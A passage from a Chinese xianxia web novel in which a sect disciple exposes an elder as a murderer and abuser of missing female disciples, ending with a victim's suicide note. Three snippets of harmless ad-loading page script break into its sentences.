调整呼吸,她施展踏仙宗绝技,“新月剑法——镜花水月”,剑影纷飞,迷惑恶犬视线,趁隙一剑斩落其一首。 剩余一头的恶犬狂怒,不顾一切扑来。 识海里的女人开口道:“需要我帮你吗?” 徐听晚怒吼出声道:“不需要!”。 她脚踏恶犬下颌,反手一剑斩其上颌。 没有灵力护体,血溅了她全身,脚也因太过用力插在恶犬下颌的尖牙上。 恶犬前爪穿腹,她忍痛拔出,血染剑身,随即施展“万锋剑法第二式——隐现之刃!”,以魂血为引,集全身灵力于一剑,怒斩恶犬,将其劈为两半。 战后,她踉跄后退,目光坚定望向江月平,石观明不知何时已经苏醒。 柳清云驾着飞行灵器赶来,声音哽咽呼唤众人。 江月平盯着满身是血的徐听晚,心中没有害怕,竟然带着沉重的心疼。 徐听晚眼前骤暗,身躯无力地倒下,就在眼帘即将闭合的刹那,她在江月平的面容上捕捉到了前所未有的忧虑与惊惶。 徐听晚缓缓睁开眼,只见柳清云坐在床边,眼眶泛红,正细心地在她手腕上涂抹着什么。 “清云?”她轻声唤道。 柳清云闻声抬头,眼中闪过一丝委屈,轻声应道:“大师姐。” 此刻的他,像一个明白大人教育的小孩,既感委屈又心怀愧疚。 石观明拖着半瘸的腿,踉跄着走来,眼看就要摔倒,一旁的江月平眼疾手快地扶住了他。三人脸上皆写满了关切,不约而同地聚在徐听晚面前。 徐听晚嘴角轻扬,语气轻松:“我没事。” “清云,扶我起身,我们去讨医药费去!” 徐听晚略显狼狈地步入了最终判决的大殿。 玄天剑宗掌门姜满,宗门掌门中唯一的女子,剑法凌厉如风,修为已达炼虚中期,掌门修为最高者。 她见徐听晚到来,嘴角勾起一抹笑意。 “诸位正忙于判决,都认定方长老是遭外门魔修毒手?” “好好好。” 柳清云搀扶着徐听晚缓缓步入大殿中央。 突然出现的徐听晚让众人惊讶不已,她如此突兀之举,竟未遭姜掌门斥责,要知道姜满素以严明著称。 徐听晚环视四周,直言不讳:“请各位稍候片刻,我来此,只为讨回一笔医药费。” 言毕,她手指轻指姜满身旁那位面容慈祥、皱纹密布的长老。 柳清云扶着她走到白长老面前。 “闻说白长老与方长老交情匪浅,依您之见,方长老是怎样一位人物?” 白长老轻叹,眼中闪过一抹哀愁:“引之,性情温和,行事严谨,唯有时而固执己见,爱钻牛角尖,实为难得的挚友。” 徐听晚闻言,赞道:“好!” 随即,她转向姜满:“姜掌门,听闻昨夜方长老居所遭焚?” “确有此事,你的伤势如何?”姜满目光落在她裹满纱布的左脚上。 姜满如此,旁人自是不敢多嘴。 孟鹤紧张地注视着徐听晚的背影,他总感觉这女子已经知晓一切。 “被一头元婴中期的疯狗咬伤,疼痛难忍,这不,伤未愈便来讨债了。” 姜满摊手询问:“那你欲向何人讨要?” 徐听晚的目光锁定在白长老身上。 “白悟哲,速赔我医药费,否则,我便将你谋害方长老的真相公之于众,把你所做的全部说出来!” 此言一出,满座皆惊。 众人面面相觑,难以置信,竟有人敢在此等场合公然威胁。 孟鹤毅然决然迈步向前,正声道:“这一切都是弟子做的,是弟子杀害了方长老。” “弟子心知肚明,是方长老害了舍妹,只是苦无实证,只得行此险招。且那魔气之源,非外界魔修所携,实为方长老入魔所遗。” 江月平搀扶着石观明,缓缓行至徐听晚身旁,途经孟鹤时,轻轻一推,冷言相斥:“别打断我大师姐说话,蠢货。” 尽管江月平对真凶身份尚存疑虑,但凭蛛丝马迹与黑衣人突兀之举,已可断定非孟鹤这愚钝之人所能为。 徐听晚轻叹一声,揣测道:“他是怎么骗你的,让我猜一猜,是不是他告诉你,是方长老杀害了那些失踪女子。” 孟鹤闻言,低头不语。 徐听晚目光锐利地扫向白长老,嘴角勾起一抹冷笑。 白悟哲眉头紧锁,沉声警告:“小友,口出狂言可是要负责的。” 徐听晚轻轻摆手,语气坚定:“我非玄天剑宗之人,自然以事实为依据。” 言毕,她拔剑出鞘。 “此剑,乃五行道宗前辈所留,以雷劫锻造,名唤‘判决’,恰合此情此景。” 她松开柳清云的手,拄着判决剑走到白悟哲身前。 “既然白长老不愿意赔付医药费,那我只能说出真相,让姜掌门赔我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 白悟哲面色如常,内心却波涛汹涌。 若应允则等于认罪,此女行事,真是疯狂至极。 徐听晚取出留影石,清晰投影出方长老居所往昔未毁之景。 随后以沉稳而细致的语调娓娓道来:“众所周知,方长老素以严谨著称,居所整洁无比。然,如此之人,怎会轻易随手将外衣放置椅背? “此细节,虽非铁证,却足以引发我对发现尸体的地方是否为方长老被杀害地方的疑虑。” “经过一番调查,方长老确于发现地遇害。” 此言一出,众人微露讥诮之色,目光戏谑地投向徐听晚。 她从容不迫,自储物袋中取出一香囊,正色道:“此香囊,是从方长老居所找到的。” 紧接着指向一旁的两名剑宗内门弟子道:“孟鹤和这两位弟子都可以证明。” “这香囊内含大量苦枯菊种子,其效用,请由我师弟柳清云为诸位详述。” 柳清云应声而出,简明扼要地介绍道:“苦枯菊,香气近孤芳草,实为猛烈迷药,过量去闻可致人神志不清,乃至走火入魔。” 言毕,众人神色骤变,凝重之气弥漫。 徐听晚话锋一转:“没有人知晓方长老有神识不稳的毛病,只是不知道身为挚友的白长老知不知道。” “当然我没有证据表明你知道,但我在玄天剑宗的内门弟子中打听了一下,白长老似乎很懂制香,连自己屋子都放了一个很大的香炉。” 白悟哲闻言,略显委屈,轻叹道:“这都是你的推测。” 徐听晚歪头挑眉,轻笑一声,眼神坚定:“别打断我,乖乖等着为自己的行为付出代价就好了。” 随后她向石观明摊手,他立刻反应过来,将藏在浅云嘴里的内门弟子名单拿出来递给她。 孟鹤惊讶的看着她手中的名单:“宗门的每本书册都盖有相连护宗阵法的符咒,你是怎么带出去,且没被发现的。” 徐听晚轻笑一声道:“让神兽含在嘴里不就好了,利用神力压制灵力,与其断开连接。” 此言一出,满座哗然。 听说踏仙宗有一名契约神兽的御兽师,但外面几乎没人相信,都等着亲传首秀来看笑话,没想到是真的。 徐听晚翻看着名单,顺手将留影石的另一段画面打开道:“这棵树上有两道剑气留下的痕迹,上面一道是左手执剑,剑痕偏短,下面这道剑法混乱,剑痕下深上浅。” “玄天剑宗大多都是剑修,想必大家也清楚,从下往上蓄力挥出剑气,既没有攻击致命位置,又使力偏轻,你们说一个正常对决的两个剑修,会发生这样的事吗?” 徐听晚继续补充道:“唉,可别说魔修,魔修剑法确实混乱,但魔修可做不到知道方长老神识混乱需要闻香而医的消息,且也不能悄无声息的将这苦枯菊放入方长老的香囊里。” 白悟哲轻笑一声道:“小友,你说话处处都是漏洞,不是魔修,你如何说清那里的魔气,你有什么证据说是我将苦枯菊放入香囊,又如何证明那道剑痕是我的?” 徐听晚平静的看着他,不慌不忙的继续道:“魔气当然的方长老留下的,那时的他应该已经吸入大量苦枯菊走火入魔了,但让他就算如此情况都要赶过去赴约就是因为这个!” 徐听晚将名册举起。 “名单上,方长老详尽记录了自十数年前起,宗门内女弟子的失踪情况,当然也包括剑宗亲传大师兄之妹孟虞的失踪。” “他的调查整理非常细致,从消失时间,到人际关系的调查,他问了许多人,排查了许多可能发生的情况,可他始终无法确定凶手,因为他从来没有想过——他会是这样的人!” 徐听晚语毕,手指直指白悟哲,简洁而有力。 10. 真相 孟鹤缓缓起身,接过徐听晚递来的名册,双手微颤地翻阅,其上记载详尽无遗。 翻阅完毕,他目光转向白悟哲,只见对方神色已非初时的淡然,取而代之的是难以掩饰的慌乱。 名册在众人手中流转,白悟哲的眼神逐渐空洞,仿佛世界在他眼前崩塌。 徐听晚嘴角勾起一抹淡笑,轻声道:“我寻得这本名册时,心中便生疑惑你为什么不一把火烧了这里的所有证据呢?” 言罢,她取出一幅画卷,缓缓展开。 白悟哲见状,脸色瞬间惨白如纸,慌乱地环顾四周。 就在他企图逃离之际,姜满迅速出手,单手将他制住。 “想溜?别忘了,你掌门师姐在此,白师弟。” 姜满眉头紧锁,凝视着眼前这个满眼恐惧的小师弟,心中五味杂陈。 记忆中的白悟哲,那个曾甜甜唤她大师姐的纯真少年,早已不复存在。 徐听晚手持画卷,直面他言:“因为你在找这个。” “你与方长老兴趣相投,年龄相仿,外人都说你俩是画界双圣。” “方长老将找到的证据全都藏了起来,谁能想到方长老会将这么重要的证据用一张画纸重叠覆盖,放在那一堆画中最显眼的位置。” “你很细致,你知道方长老一向整洁,翻找时都完美复原了东西原来的位置,正是因为你知道他受不了东西不整洁的样子,所以你没想到方长老会撬开自己的地砖,将至关重要记录一切的留影石藏在那里。” 言及此,徐听晚轻叹,转向江月平:“当然,我也没有想到,这地砖下的留影石,是我小师妹江月平发现的,大家都知天灵根能看到空中灵力流动,而她正是天灵根,她发现了地砖上微弱的灵力流动。” 听到这众人再次惊呼。 天灵根? 原来外界关于五行道宗的传闻都是真的。 徐听晚继续道:“而且,前面说到的剑痕,我小师妹在上面那道剑痕的缝隙中,看到了火木双灵根的灵力,真是太巧了,白长老就是火木双灵根唉。” 白悟哲闻言,沉默以对,唯余怒目而视,紧盯徐听晚。 徐听晚冷笑,直视白悟哲的眼眸,语气中带着几分戏谑:“以防万一我做了多手准备,就是怕你逃脱,你以为你昨晚拿回去的美人群浴图景画是真的?哈哈哈哈,很荣幸得到画圣的赏识,那是我临摹的,而且我还在背面贴上了跟踪子符,然后用相同画卷底色的纸覆盖了上去。” 她悠然取出追踪母符,嘴角勾起一抹玩味的笑:“不妨让这母符引路,看看那画是否已落入白长老之手?我倒好奇,你为何对这画如此执着,何不干脆一把火烧个干净……” 言罢,她干脆利落地取出火符,当众点燃画卷。火光中,一名女子竟自画中坠落,颈间锁链闪烁,仅着一袭薄衫,茫然环顾四周。 徐听晚打开另一个方长老调查记录的留影石,稳稳置于地面。 随后挺立身姿,判决剑直指白悟哲,声音坚定而清晰:“判决已定,罪罚随至。” 留影石清晰地映现出,方长老悄然尾随白悟哲,意外揭露了其隐秘之所。 室内,唯有各式刑具森然罗列,中央则悬挂着一幅描绘美人共浴的绮丽画卷,画面虽美,却透出一股不祥之气。 方长老悄然取走了这幅画卷,随后,更为骇人的真相浮出水面。 白悟哲竟将玩虐致死的女子遗体,丢弃于宗门边缘断崖下的幽深洞穴之中,更以之喂养一头凶悍的双头恶犬,其行为之残忍,令人发指。 一切真相大白,孟鹤怔怔地望着徐听晚。 徐听晚缓缓收起长剑,目光坚定地对他说:“以后别再犯蠢了。白悟哲察觉画卷失踪,知道方长老在暗中调查,便假意不知,约他出来。” 她深吸一口气,惋惜道:“白悟哲对方长老早有戒心,见他调查的越来越接近真相,便在其香囊中做了手脚。方长老未曾料到这一手,或许误以为是旧疾复发,未加防备便赴约。怎料修为虽高两阶,终因走火入魔,命丧白悟哲之手。” 徐听晚轻拍孟鹤肩膀,继续道:“我推测有人目睹了白悟哲处理尸体的场景,这才让他未能将尸体移至断崖下的山洞藏匿。” “那山洞内遍植苦枯菊,其香味完全掩盖了尸臭。” 孟鹤凝视着她,眼中满是钦佩。 他低声开口:“白悟哲告诉我,方长老以女子为祭,修炼邪术,终致走火入魔。他演技精湛,声称无确凿证据,只能出此下策,望我能助他隐瞒,对外宣称是魔修所为,以保宗门声誉。” 徐听晚摇了摇头转身,扶着柳清云的手稳住身形,侧目对孟鹤说:“因为他当时与方长老打斗受了重伤,遇见你只能欺骗,不然他就连你一块杀了。” 随后,在众人注视下,她领着师弟师妹们离去,留下一句:“姜掌门,医药费请随意,届时遣人送至客栈即可。” 江月平接过徐听晚的手,对柳清云温和言道:“男女有别,我来扶大师姐更为妥当,你去扶二师兄吧。” 柳清云笑着点了点头跑过去扶着石观明,轻快地说:“今日我们一行,真是英姿飒爽。” 石观明轻抚柳清云的头顶,笑道:“你依旧如儿时那般纯真,记得初入宗门时,我和大师姐总爱逗你,你一哭,便成了我们的乐事。” 柳清云闻言,又羞又急,最终只化作一声轻哼。 徐听晚忆及姜满的容貌,不禁感慨:“姜掌门看着真年轻,这便是修为高的好处。反观白悟哲,虽年轻于江掌门,却已显老态。” 柳清云闻言,眉头紧锁,忧虑道:“我丹修,修炼缓慢,将来不会也如此吧?” 徐听晚轻笑,半开玩笑道:“或许,你很快便会步入他的后尘,毕竟丹修易老,此言非虚。”柳清云清澈的眼眸中闪过一丝惊慌,见此情景,徐听晚忍俊不禁。 “哈哈哈哈哈,这孩子实心眼,说什么认什么,不禁逗。” 江月平旁观此景,嘴角不自觉地上扬。 见柳清云不高兴,徐听晚连忙安抚:“修为再高,都有年老死去的时候,有什么怕的,除非得道成仙,获得永生,然后隐世逍遥。” 石观明闻言,掩面而笑:“大师姐,要不你还是别安慰了。” 四人一路谈笑风生,回到了客栈。 一周后。 徐听晚凝视着受伤的左脚,心中莫名涌起一股不安,仿佛遗忘了什么重要之事。 恰时,敲门声响起,江月平轻轻合上手中的书卷,起身前去应门。门外,柳清云与石观明并肩而立,各自提着一盒餐食。 徐听晚仍沉浸在自己的思绪中,试图捕捉那遗失的记忆片段。究竟是什么呢? 两人满面喜色地步入屋内,江月平则谨慎地环顾四周,注意到客栈内 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 因案件解决而显得空旷许多,许多道友已匆匆返回各自的宗门或世家。 他们选择留下,是为了等待徐听晚与石观明的伤势有所好转。 柳清云迫不及待地打开餐盒,露出两盘精心制作的凉拌熟肉,香气四溢。 “大师姐,这两盘雪熊肉能得到,还挺巧的。” “小师妹,我跟你说,这事真是太巧了!” 柳清云与石观明几乎同时开口。 两人皱眉对视,柳清云见石观明气势稍盛,便轻捏了一下他刚痊愈没多久的左腿,引得他轻呼一声。 “你这家伙。” 柳清云没理会他的话,对着徐听晚和江月平道:“小师妹,大师姐,你们知道吗?我们本想尝尝北城特有的雪熊肉,结果肉店说早已预约满额,连明年的位置都没了。” “可巧的是,半路上我们遇到了一位散修,他的储物袋被窃,我们出手相助。没想到,这位散修刚巧在雪山上猎得了一只百年难遇的雪熊,还慷慨地分给了我们一些。” “我们特意找了一家老牌子的饭店,让他们精心烹制后带了回来。”柳清云滔滔不绝地讲述着。 徐听晚闻言,微微一笑,尝了一口肉,点头道:“味道确实不错,只是并未达到传说中的那般令人惊艳。” 石观明懒得计较柳清云刚才的幼稚行为,一只手揉着左腿,一只手温柔地夹起一块肉,递给了探头探脑的浅云。 徐听晚瞥了一眼石观明左腿,猛地睁大眼睛,像是想起来什么。 "石观明,你仔细回想,白悟哲当初为何欲置你于死地。" 石观明闻言,神色微变,努力回想。 "或许,是我即将循苦枯菊之香觅得尸骸之际。" 徐听晚质疑:"他何以知晓?或许你只是偶然路过?难道每个路过之人皆需丧命?" 石观明若有所思,突然他像是反应过来什么:"我想,推我和小师妹的并非白悟哲。” “那时,我于黑衣人身上嗅到了浓厚的血腥味,可白悟哲身上并无伤口,且若真是白悟哲,以其修为,可以直接取我二人性命。" 徐听晚打出一个响指,挑眉道:"正是此理。" 柳清云惊愕,睁大眼睛:"有人要杀我们?" 徐听晚摇头,转向沉思的江月平:"月平,你当时被推落,情形如何?" 江月平取出寒霜笔,勾勒出一柄短剑轮廓,剑柄镶嵌奇异球体。 石观明指着江月平所画的短剑道:"我看见了这把短剑。" 三人齐望向他。 "我至崖边,见他捂着胸口,持此短剑腾空而至,对视一瞬,他便以此剑将我拍了下去。" 徐听晚疑惑:"拍?" 江月平解释道:"我未目睹短剑,只觉背后有物一拍,形态大抵如此,他确实是拍,非刺。" 石观明接着道:"还有还有,他速度惊人,且未借飞行法器。" 柳清云惊叹:"无需飞行法器?只有练虚期能短暂踏灵飞行啊!" 江月平指向画中短剑:"不,此人非练虚,短剑就是他借助的飞行工具,且我感其上有魔气萦绕。" 徐听晚目光锐利,追问:"你还察觉到什么?" 江月平眉头紧锁,缓缓抬手,似在回忆。 "我捕捉到一抹灵力,前所未见,淡而轻,快若闪电,仅余残影。" 11. 血咒印 徐听晚猛然挺身而起,坚决道:“我要去断崖看看,此事透着蹊跷。” 江月平迅速反应,抬手护在她身后。 石观明眉头紧锁,抬头劝阻:“你的脚伤未愈。 徐听晚轻轻摆手,不以为然:“无妨,已大致恢复。你与清云拿着我令牌,速往告知姜掌门详情,实话实说便好。” 她沉吟片刻,推测道:“我怀疑那人持短剑于断崖有所图谋,不慎误入白悟哲养犬之洞,遭犬袭击负伤,而后逃跑,后与观明相遇。” 言毕,她将令牌置于桌上,不顾左脚隐隐作痛,毅然决然地奔出。 江月平紧随其后,白悟哲紧握令牌,携柳清云匆匆跟上。 柳清云被拖拽间,焦急呼喊:“二师兄,慢些!” “还有,大师姐,小心左脚,莫再受伤,否则经脉受损,变成瘸子。” “知道了!”徐听晚高声应答,半途抽出判决剑,顺势拉住江月平,两人共乘,御剑疾驰。 “小师妹,是不是很快!”徐听晚笑问。 江月平略显无措,以手背轻抵徐听晚肩头,目光追随着她飞扬的发丝,轻声应和:“嗯。” “小师妹,我赠你一句诗,‘无人扶我青云志,我自踏雪至山巅’。” 江月平心绪纷乱,不解其意:“为何赠此句诗于我?” 徐听晚轻抚她的发顶,语带深意:“师父,也就是我父亲,非善类,自私虚伪。他不会真的教你什么,这世间能依靠的只有自己。” 江月平眼帘低垂,若徐听晚以令人作呕的口吻说可以依赖她,她内心定将毫无涟漪。 可她却说世间能依靠的只有自己。 心中暗自思量:“仅凭一句诗,便能化解过往恩怨吗?” 识海之中,一道模糊身影渐渐清晰,伴随着低沉男声:“若你恨她,为何救石观明?为何想取回发簪,又惧她发现留影石?为何默许她唤你月平?” 随着话语,那身影愈发真切,竟是恢复男儿身的她自己。 等江月平回过神来,两人已经到达断崖底。 玄天剑宗的内门弟子正在洞穴口巡视。 徐听晚和江月平在周边仔细搜寻。 天际骤然乌云密布,徐听晚心头涌起一股莫名的不安。 紧接着,天空竟下起了血雨,所触之处皆被腐蚀殆尽。 徐听晚的护体灵力亦在逐渐消磨,她急呼:“速入洞穴!” 众人闻言,匆忙涌入洞穴,一股浓郁的苦枯菊香扑鼻而来,令人窒息。 徐听晚连忙提醒:“靠近洞口,勿吸入过多香气。” 明知里面种有大量的苦枯菊,看见洞内的景象,还是令她惊叹不已,苦枯菊本为苛刻环境下生长的毒花,白悟哲竟然能种出如此大一片。 洞口瞬间站满人,徐听晚与江月平被挤至后方,身旁还跟着一名矮小弟子。 徐听晚在心中冷笑,这就是人性。 江月平却不容忍让,一脚将前方内门弟子踹倒,众人见状,纷纷退避三舍,金丹期修士的威严不容小觑。 她回头望向徐听晚,忽见一旁弟子入魔,挥剑向徐听晚袭来。 徐听晚措手不及,双手拔剑却没想到已经来不及了,她只能右脚稳身,左脚踢出抵挡。 千钧一发之际,江月平直接徒手握住剑锋。 徐听晚趁机挥剑刺向入魔弟子,江月平松手,呆愣的看着自己的左手鲜血淋漓,伤口深可见骨。 徐听晚心急如焚,携江月平疾奔至洞口,迅速解下腰带,紧紧缠绕在她左手的伤口上 随后,她温柔地托起江月平的脸庞,深吸一口气后,俯身将自己吐出的空气渡入她的口中。 “别吸气,伤口的愈合会加速血液循环,这浓烈的苦枯菊香,你闻不了一点。” 言毕,她再次轻启朱唇,将自己体内过滤后较为纯净的气息缓缓送入江月平的口中,如此往复多次。 因瞳孔的颤抖无法控制,江月平选择紧闭双眼。 徐听晚轻揉眉心,那强烈的苦枯菊气息让她十分不适。 此时,天际突现一阵奇异阵法,血雨骤停,众人纷纷向外逃散。 徐听晚依偎在江月平肩头,轻声细语:“我们走吧。” 众人望着并肩而行的二人,眼神中虽有诧异,但念及二人皆为女子且为救人,便未多加议论。 匆匆赶来的柳清云惊呼一声,连忙拉住江月平的手仔细检查。 而石观明则心疼地跑过去,见徐听晚衣衫不整、面色苍白,便柔声说道:“大师姐,靠着我休息片刻吧。” 徐听晚转向姜掌门,神色凝重:“此乃魔教血咒印,需寻得维持咒印的魔符方能解除。” 言罢,她虚弱的靠在石观明胸前,大口喘息,头痛欲裂。 石观明见状,迅速取出一小香炉置于她鼻下,轻声道:“这是我特制的安神香薰。” 随着香气缓缓入鼻,徐听晚的眼眸逐渐闭合,神色稍缓。 江月平望向石观明,眼中满是不解。 石观明解释道:“安神之物多具催眠之效。” 柳清云在一旁点头附和。 江月平运用清洁术将腰带洗净后,重新为徐听晚系于腰间。 随后,她转身对正调动弟子的姜满说道:“姜掌门,大概位置应该就在这附近,确定了大致位置,我应该能找到。” 姜满凝视着她,眼中闪过一丝异色:“你与我一故人颇为相似。” 江月平一时愣住。 随后姜满摇了摇头摆了摆手,拿出书卷道:“你们帮了我许多,不如我们加个书卷联系。” 此言一出,周围弟子皆瞪大双眼,惊异于这人竟能与一宗掌门,加上书卷联系。 三人都加上了姜满书卷,石观明自然的从徐听晚储物袋拿出她的书卷,加上了姜满的书卷。 柳清云惊呼:“二师兄,你连大师姐的书卷密码都知道?” 石观明耸了耸肩道:“她不怎么用这个,一直是原始密码,而且她书卷就我一个联系人。 柳清云随即伸去自己的书卷:“那你也把我与小师妹加进大师姐的书卷里,待她发现,定然大吃一惊” 石观明应允,迅速操作完毕。 江月平在一旁瞥了石观明一眼,心中莫名烦躁。 她不明白自己为何会出现这样的情绪,明明石观明没对她做什么。 姜满担忧开口:“此阵法维持不久,你确定能行?我已安排上北城子民撤离,你们不妨也一同离开。” 江月平瞥了一眼身旁的三个人。 “你们先走吧……” 柳清云迅速打断她,语气坚定:“小师妹,你知道的,我不会离开。我们‘反大师姐’联盟的情谊,牢不可破!” 石观明眉头微皱,疑惑道:“反什么联盟?” 柳清云狡黠一笑,摆手否认:“没有没有,你听错啦!” 石观明轻笑一声,低头望向怀中的徐听晚,轻声道:“若是现在带着她走了,她肯定会生气的骂我怂包,我还是不走了。” 姜满望着四人,嘴角微扬,心中感慨:岁月虽逝,少年少女的豪情壮志,永不褪色。 江月平走近姜满,简洁明了地说:“我带你找。” 柳清云好奇地望向石观明,调侃道:“大师姐还骂过你?” 石观明抱着徐听晚,目光锐利地回应:“没你挨骂多,蠢货。” 柳清云伸出食指,愤怒开口:“你!真应该让那些叫你白月君子的师妹们好好看看你现在的样子。” 言罢,他嘴角勾起一抹意味深长的笑,紧接着道:“你知道有些师弟给你取了一个什么外号吗?” 石观明挑眉,示意他说下去。 柳清云笑道:“他们称你为‘小白脸’,在女子前温文尔雅,对男子则寡言犀利。” 石观明轻笑,反唇相讥:“是付子轩他们吗?他们在我面前说的是,大师姐是大美人,三师弟是疯小子,你是愣头青,小师妹是小美人呢。” 柳清云惊愕不已:“什么?” “哈哈哈哈!” 此时,徐听晚缓缓睁开眼,带着笑意嘲讽地看着两人。 “小白脸与愣头青,哈哈……” 石观明轻手轻脚地将她放下,温柔地言道:“人们都要选择让自己更舒适的环境,部分师妹叫我白月君子,那在她们面前,我自然要担得起这个名号,部分师弟说我的礼貌是讨好女弟子,我没有必要去和他们解释,也没必要用好脸色去对待他们。” 徐听晚颔首赞同:“观明说的对,就像我更愿意指挥部分师弟,因为他们不会违背我的命令,而部分师妹会说我粗暴残忍,说我瞧不起女弟子,只选男弟子出任务,我没有必要去和她们解释,也没必要用好脸色去对待她们。” 说到这她深吸一口气,语重心长继续道:“宗门内,无论男女,许多弟子皆称我等亲传为‘天赋狗’,毕竟我们五行道宗五名亲传弟子,不像其他宗门的亲传是选拔挑战上来的。” “天河大陆,实力说明一切,要想让他们闭嘴,就需要提升自己的修为。” 柳清云闻言,愕然失色:“天赋狗?”随即委屈道,“那他们还找我要丹药。” 徐听晚皱眉开口:“若是找你要丹药,你觉得麻烦,便不给,他态度不好,便不给,一切都要以自己的感受为先,知道吗?” “若是无法拒绝,便要他们来找我,若是他们在背后说你,便同我和你二师兄一样,只靠近让你舒服的人便好,其他的不用理会。” 柳清云满是失落的嗯了一声。 石观明轻抚其头,笑道:“二师兄给你吃灵果,别伤心了,世道复杂,大师 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 姐和二师兄都是过来人,会慢慢教你。” 柳清云接过灵果,默默品尝,心中却难掩烦忧。 徐听晚见状,环视四周,布下灵力屏障,隔绝外界。 柳清云不解开口:“为什么要用屏障阻断声音。” 徐听晚见他吃完,又拿出一颗灵果塞入他手中道:“设此屏障,是有要事相告。师父非善类,他不会教我们什么,若是以后有不懂的,去问长老或是我和你二师兄,至少我们不会坑你们。” 柳清云愕然对视徐听晚,心中疑惑重重。他从未怀疑过师父,但大师姐作为师父的女儿又怎么会故意抹黑他。 他转而望向石观明,只见对方低声道:“师父师娘做了什么,等以后我们再告诉你们。” 柳清云惶恐不安的揉搓着双手。 见他这副样子,石观明再次轻抚其头,赠予一株百年雪莲 “莫怕,大师姐与我会保护大家。” 徐听晚点头以示赞同。 柳清云手捧雪莲,感激涕零:“二师兄,你真不愧是是白月君子。” “大师姐,二师兄,你们说小师妹能找到那魔符吗?” 徐听晚语气平和,缓缓言道:“既已决意信任,便无需多虑。”石观明闻言,微微颔首以示赞同。 柳清云瞪大双眸,明白般轻轻点头。 目睹柳清云之乖巧模样,她嘴角不经意间勾勒出一抹欣慰的浅笑,目光恰好捕捉到他身后缓缓步近的江月平,她轻巧地撤去了屏障。 “月平!”她轻唤一声。 江月平轻轻应了一声,随即宣布:“我找到了那张魔符。” 话音未落,她突然瞪大了双眼,徐听晚心中莫名一紧,不由自主地转身向后望去。 只见一道身影自山崖边缘坠落,伴随着“扑通”一声巨响,所有人的目光瞬间被吸引,只见漫天飞舞的纸片一同飘落,宛如千万只重获自由的白鸟,在空中翩翩起舞。 徐听晚与柳清云疾步上前,试图施以援手,但触及那冰冷的身躯时,她们的心沉入了谷底——她已停止了呼吸。 轻轻拨开她凌乱的发丝,徐听晚的瞳孔猛地一缩,她认出了这位女子,正是之前从那幅美人群浴图景中掉落出来的女子。 她毫不犹豫地脱下自己的外衣,温柔地覆盖在那女子单薄而伤痕累累的身躯与赤足之上。 在这凛冽的寒冬里,她竟只着一袭单薄的内衣,赤脚奔跑至此,最终选择了这样的结局。 察觉到周围人尚未聚拢,徐听晚心中涌起一股难以言喻的愧疚,她小心翼翼地擦拭着女子脸上的尘土与鲜血,心中反复思量:是否是因为自己当众焚毁了那幅画卷,才导致了她的不幸? 一滴晶莹的泪珠悄然滑落,滴落在她的手背上,冰冷而沉重。 柳清云见状,十分惊讶。 徐听晚凝视着手背上的泪痕,身体仿佛被定住了一般。 此时,石观明敏锐地捕捉到了她的情绪变化,他迅速拾起一张随风飘舞的白纸,走到她身旁,轻轻递给她,同时用坚定的语气说:“这不怪你。” 然而,徐听晚仿佛并未听见,她的目光始终停留在女子的面容上,缓缓收回了护体的灵力,任由刺骨的寒风穿透她的衣衫,肆虐着她的身体。 这是她对自己内心深处那份愧疚与自责的惩罚。 柳清云接过那张白纸,清晰地读出其上字迹: “弟子温迎,于天河十一重二千五百年岁,入玄天剑宗,成为外门弟子。 二千五百一十二年,我凭借努力,跨越门槛,成为内门弟子一员。 今年二千五百二十年,没想到我会遭遇此劫难。 那日清晨,白长老以剑法精进为由,诱我至其居所,暗施诡计,令我误饮指无草,修为尽毁,更被囚于画卷之内。 每周,他迫我至断崖山洞,与恶犬苟合,自得其乐,更于密室之中,以刑具加身,百般折磨。 生死边缘,我目睹无数痛苦灵魂,环绕白长老左右,我深知,他终将自食恶果。 我希望大家知道事实,我希望事实被记录。 我不希望为了我,将事实美化和掩藏。 揭露白长老的恶趣味,或许有人认为此举徒劳,只会逼死自己。 但我坚信,对于逝者与我,此举意义非凡。 我们不愿隐忍痛苦,誓要让他的名遗臭万年。 最后,以上北城孩童都熟悉的话作结:愿诸位安然度过严冬。” 弟子温迎绝笔 柳清云念到最后声音颤抖,他想扶徐听晚起身,却被她坚决推开。 “我冲动之下,焚毁画卷,铸成大错,若是她没有露面,就算最后揭露白悟哲的恶趣味,也没人知道是她,错了就是错了。” 她颤抖的身躯在寒风中更显单薄,双眼被刺骨冷风逼得难以睁开。 12.飞雪燃火 天际的黑云已尽数消散,雪花轻盈飘落。 江月平凝视着她的背影,步入洞穴深处,缓缓抱走火入魔弟子的遗体。 她挺立于徐听晚身前,手握寒雪笔,毅然咬破舌尖,沾上符笔,鲜血与本源之力交融,于虚空中勾勒符咒。 极品烈火符腾空而起,刹那间,洞穴内火光冲天,熊熊烈焰照亮了每一个角落。 洞口冲出火焰,温暖从江月平方向袭来瞬间包裹了徐听晚,她抬眸,只见江月平面色苍白如纸。 以精血绘符,实乃修为之大耗。 初次使用,为自保;此番使用,只是为她驱散严寒。 她深知难以劝她原谅自己,只好护她别受痛苦。 徐听晚的眼眸中,火焰与江月平交相辉映。 少女一身青衣,眼神深邃,暖风带着她的发丝与衣袖于空中乱舞。 除了她的身体,发丝衣袖眼神无不飞向着徐听晚。 徐听晚睁大眼睛,眼前的景象太过绚烂,令她难以移开眼睛。 柳清云迅速取出一件斗篷,轻轻披在了她的肩头,石观明将她从地上扶起。 暖风一点点吹化开她冻僵的身体。 人们都难以接受自己犯的错误,其实不管怎么做都是在逃避,伤害无法挽回,大家都无法回到过去。 是人都会犯错,太过聪明的人更能发现自己的错误,从而痛苦至极。 徐听晚四人踏着积雪,发出吱嘎的声响,成为四人间唯一的声响。 柳清云略显尴尬地轻咳,打破了沉默。 “我今天穿了件深一点的蓝色衣服,你们觉得如何?”他轻声问道。 徐听晚简洁回应:“不错。” 江月平与石观明也相继点头附和。 柳清云嘴角微抽,不满地喊道:“你们倒是回头看一眼再评价啊!” 他顺着众人的目光望去,只见一名红衣男子正与糖贩讨价还价,面容狂野。 柳清云迅速移至石观明旁,轻拍其肩:“那不是给我们雪熊肉的屠夫吗?”他挥手高呼,试图引起对方注意。 